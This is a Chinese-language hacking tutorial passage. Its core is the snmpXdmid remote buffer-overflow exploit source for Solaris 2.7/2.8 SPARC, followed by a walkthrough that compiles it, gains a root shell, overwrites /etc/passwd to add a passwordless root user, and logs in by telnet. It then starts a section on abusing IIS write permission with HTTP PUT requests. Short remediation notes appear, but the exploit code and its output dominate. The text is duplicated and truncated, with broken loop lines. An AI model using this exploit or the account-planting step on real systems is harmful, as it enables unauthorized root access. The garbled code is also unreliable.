cl;enum clnt_stat stat;
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");
if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){case 'p': port=atoi(optarg);break;
case 'v': vers=atoi(optarg);
}
}case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}
*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);
printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);
findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);
b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;
b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i
for(i=0;i
*b=0;
req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];
stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");
write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D
# gcc -o snmpxdmid snmpxdmid.c -lnsl lsocket
* 编译exploit。
snmp.c: In function `main':
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
# ./snmpxdmid
* 运行exploit。
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
usage: ./snmpxdmid address [-p port] -v 7|8
#./snmpxdmid 127.0.0.29 v 8
* 溢出。
* 说明:
* address:主机IP地址。
* [-p port]:溢出端口。
* -v 7|8:solaris 2.7 (Sunos 5.7)或者solaris 2.8(Sunos 5.8)
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250
* 溢出成功。
id
uid=0(root) gid=0(root)
* 取得root权限。
echo "cnhack::1:0::/:/bin/bash" > /etc/passwd
* 添加一个用户名为cnhack,密码为空的管理员。
telnet localhost
* telnet主机:127.0.0.29
Trying 127.0.0.1...
Connected to localhost. Escape character is '^]'.
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
……
解决方法:
1) 将 /etc/rc .d/S dmi 重命为 /etc/rc .d/K07dmi (此处 代表对应运行级);再执行命令:/etc/init.d/init.dmi stop
2) 保险起见,可改变其用户权限: chmod 000 /usr/lib/dmi/snmpXdmid
『第27天』深入对iis写权限的利用
大家可能看过《远程分析IIS设置》,里面对iis的各种设置进行了分析,我这里就对iis的写权限来分析下,以下引用《远程分析IIS设置》文章对iis写权限分析内容:
写权限
测试一个目录对于web用户是否具有写权限,采用如下方法:telnet到服务器的web端口(80)并发送一个如下请求:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
这时服务器会返回一个100( 继续)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接着,我们输入10个字母:
AAAAAAAAAA
送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#$!~
这里简单说明下:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-
struct hostent *hp;
struct sockaddr_in adr;
struct timeval tm={10,0};
req_t req;
printf("copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/\n");
printf("snmpXdmid for solaris 2.7 2.8 sparc\n\n");
if(argc<2){
printf("usage: %s address [-p port] -v 7|8\n",argv[0]);
exit(-1);
}
while((c=getopt(argc-1,&argv[1],"p:v:"))!=-1){case 'p': port=atoi(optarg);break;
case 'v': vers=atoi(optarg);
}
}case 7: *(unsigned int*)address=0x000b1868;break;
case 8: *(unsigned int*)address=0x000cf2c0;break;
default: exit(-1);
}
*(unsigned long*)pch=htonl(*(unsigned int*)address+32000);
*(unsigned long*)address=htonl(*(unsigned int*)address+64000+32000);
printf("adr=0x%08x timeout=%d ",ntohl(*(unsigned long*)address),tm.tv_sec);
fflush(stdout);
adr.sin_family=AF_INET;
adr.sin_port=htons(port);
if((adr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
if((hp=gethostbyname(argv[1]))==NULL){
errno=EADDRNOTAVAIL;perror("error");exit(-1);
}
memcpy(&adr.sin_addr.s_addr,hp->h_addr,4);
}
sck=RPC_ANYSOCK;
if(!(cl=clnttcp_create(&adr,SNMPXDMID_PROG,SNMPXDMID_VERS,&sck,0,0))){
clnt_pcreateerror("error");exit(-1);
}
cl->cl_auth=authunix_create("localhost",0,0,0,NULL);
i=sizeof(struct sockaddr_in);
if(getsockname(sck,(struct sockaddr*)&adr,&i)==-1){
struct{unsigned int maxlen;unsigned int len;char *buf;}nb;
ioctl(sck,(('S'<<8)|2),"sockmod");
nb.maxlen=0xffff;
nb.len=sizeof(struct sockaddr_in);;
nb.buf=(char*)&adr;
ioctl(sck,(('T'<<8)|144),&nb);
}
n=ntohs(adr.sin_port);
printf("port=%d connected! ",n);fflush(stdout);
findsckcode[12+2]=(unsigned char)((n&0xff00)>>8);
findsckcode[12+3]=(unsigned char)(n&0xff);
b=&buffer[0];
for(i=0;i<1248;i++) *b++=pch[i%4];
for(i=0;i<352;i++) *b++=address[i%4];
*b=0;
b=&buffer[10000];
for(i=0;i<64000;i++) *b++=0;
for(i=0;i<64000-188;i++) *b++=nop[i%4];
for(i=0;i
for(i=0;i
*b=0;
req.name.len=1200+400+4;
req.name.val=&buffer[0];
req.pragma.len=128000+4;
req.pragma.val=&buffer[10000];
stat=clnt_call(cl,SNMPXDMID_ADDCOMPONENT,xdr_req,&req,xdr_void,NULL,tm);
if(stat==RPC_SUCCESS) {printf("\nerror: not vulnerable\n");exit(-1);}
printf("sent!\n");
write(sck,"/bin/uname -a\n",14);
while(1){
fd_set fds;
FD_ZERO(&fds);
FD_SET(0,&fds);
FD_SET(sck,&fds);
if(select(FD_SETSIZE,&fds,NULL,NULL,NULL)){
int cnt;
char buf[1024];
if(FD_ISSET(0,&fds)){
if((cnt=read(0,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(sck,buf,cnt);
}
if(FD_ISSET(sck,&fds)){
if((cnt=read(sck,buf,1024))<1){
if(errno==EWOULDBLOCK||errno==EAGAIN) continue;
else break;
}
write(1,buf,cnt);
}
}
}
}
^D
# gcc -o snmpxdmid snmpxdmid.c -lnsl lsocket
* 编译exploit。
snmp.c: In function `main':
snmp.c:135: warning: assignment makes pointer from integer without a cast
snmp.c:172: warning: passing arg 4 of pointer to function from incompatible pointer type
# ./snmpxdmid
* 运行exploit。
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
usage: ./snmpxdmid address [-p port] -v 7|8
#./snmpxdmid 127.0.0.29 v 8
* 溢出。
* 说明:
* address:主机IP地址。
* [-p port]:溢出端口。
* -v 7|8:solaris 2.7 (Sunos 5.7)或者solaris 2.8(Sunos 5.8)
copyright LAST STAGE OF DELIRIUM mar 2001 poland //lsd-pl.net/
snmpXdmid for solaris 2.7 2.8 sparc
adr=0x000c8f68 timeout=30 port=928 connected!
sent!
SunOS business 5.8 Generic_108528-03 sun4u sparc SUNW,Ultra-250
* 溢出成功。
id
uid=0(root) gid=0(root)
* 取得root权限。
echo "cnhack::1:0::/:/bin/bash" > /etc/passwd
* 添加一个用户名为cnhack,密码为空的管理员。
telnet localhost
* telnet主机:127.0.0.29
Trying 127.0.0.1...
Connected to localhost. Escape character is '^]'.
SunOS 5.8
login: cnhack
Password:
Last login: Sun Jul 29 19:37:19 from 127.0.0.1
Sun Microsystems Inc. SunOS 5.8 Generic February 2000
$
……
解决方法:
1) 将 /etc/rc .d/S dmi 重命为 /etc/rc .d/K07dmi (此处 代表对应运行级);再执行命令:/etc/init.d/init.dmi stop
2) 保险起见,可改变其用户权限: chmod 000 /usr/lib/dmi/snmpXdmid
『第27天』深入对iis写权限的利用
大家可能看过《远程分析IIS设置》,里面对iis的各种设置进行了分析,我这里就对iis的写权限来分析下,以下引用《远程分析IIS设置》文章对iis写权限分析内容:
写权限
测试一个目录对于web用户是否具有写权限,采用如下方法:telnet到服务器的web端口(80)并发送一个如下请求:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-Length: 10
这时服务器会返回一个100( 继续)的信息:
HTTP/1.1 100 Continue
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:00 GMT
接着,我们输入10个字母:
AAAAAAAAAA
送出这个请求后,看服务器的返回信息,如果是一个 201 Created响应:
HTTP/1.1 201 Created
Server: Microsoft-IIS/5.0
Date: Thu, 28 Feb 2002 15:56:08 GMT
Location: http://iis-server/dir/my_file.txt
Content-Length: 0
Allow: OPTIONS, TRACE, GET, HEAD, DELETE, PUT, COPY, MOVE, PROPFIND,
PROPPATCH, SEARCH, LOCK, UNLOCK
那么就说明这个目录的写权限是开着的,反之,如果返回的是一个403错误,那么写权限就是没有开起来,如果需要你认证,并且返回一个 401(权限禁止) 的响应的话,说明是开了写权限,但是匿名用户不允许。如果一个目录同时开了”写”和“脚本和可执行程序”的话,那么web用户就可以上传一个程序并且执行它,恐怖哦%^#$!~
这里简单说明下:
PUT /dir/my_file.txt HTTP/1.1
Host: iis-server
Content-